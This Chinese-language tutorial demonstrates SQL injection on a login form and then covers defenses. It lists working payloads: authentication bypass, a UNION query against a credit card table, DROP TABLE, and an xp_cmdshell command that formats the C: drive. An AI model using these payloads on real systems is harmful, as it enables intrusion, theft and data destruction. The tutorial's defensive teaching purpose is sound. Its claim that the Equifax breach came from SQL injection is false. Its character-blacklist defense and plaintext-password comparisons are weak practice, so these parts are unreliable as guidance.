本文目录导读:

我来演示一个典型的SQL注入案例。
场景:用户登录系统
正常查询(无注入)
后端代码(有漏洞):
# 不安全的写法 username = request.form['username'] password = request.form['password'] # 直接拼接SQL语句 sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"
正常输入:
- 用户名:
admin - 密码:
123456
生成的SQL:
SELECT * FROM users WHERE username = 'admin' AND password = '123456'
- 查询结果:找到用户则登录成功
SQL注入攻击演示
攻击者输入:
- 用户名:
admin' -- - 密码:
生成的SQL:
SELECT * FROM users WHERE username = 'admin' --' AND password = '任意内容'
效果:
- 是SQL注释符,后面的密码条件被注释掉了
- 只需用户名正确即可登录,无需密码!
更危险的注入
攻击者输入:
- 用户名:
' OR 1=1 -- - 密码:
任意
生成的SQL:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = '任意'
效果:
OR 1=1永远为真- 返回所有用户,通常直接登录第一个用户(通常是管理员)
数据获取注入
攻击者输入:
- 用户名:
' UNION SELECT * FROM credit_cards -- - 密码:
任意
生成的SQL:
SELECT * FROM users WHERE username = '' UNION SELECT * FROM credit_cards --' AND password = '任意'
效果:
- 合并查询信用卡表数据
- 窃取敏感信息
更严重的后果
-- 删除表
'; DROP TABLE users; --
-- 获取所有数据库信息
' UNION SELECT table_name, column_name FROM information_schema.columns; --
-- 执行系统命令(SQL Server)
'; EXEC xp_cmdshell('format C: /Y'); --
如何防御?
使用参数化查询(推荐)
# 安全的写法
cursor.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(username, password)
)
输入验证和过滤
# 过滤特殊字符
def sanitize_input(input_str):
blacklist = ["'", '"', "--", ";", "/*", "*/"]
for item in blacklist:
input_str = input_str.replace(item, "")
return input_str
最小权限原则
-- 创建专门的应用用户,只给予必要的权限 CREATE USER app_user FOR LOGIN app_login; GRANT SELECT, INSERT, UPDATE ON users TO app_user;
使用ORM框架
# Django ORM 示例 from django.contrib.auth.models import User user = User.objects.filter(username=username, password=password)
实际影响案例
美国征信巨头Equifax数据泄露(2017):
- 原因:Apache Struts框架的SQL注入漏洞
- 影响:1.47亿用户数据泄露
- 损失:超过14亿美元
SQL注入是最常见也最危险的Web安全漏洞之一,关键不在于“如何注入”,而在于“如何防护”:
- 永远不要信任用户输入
- 使用参数化查询 - 99%的SQL注入问题迎刃而解
- 遵守最小权限原则
- 定期进行安全审计和渗透测试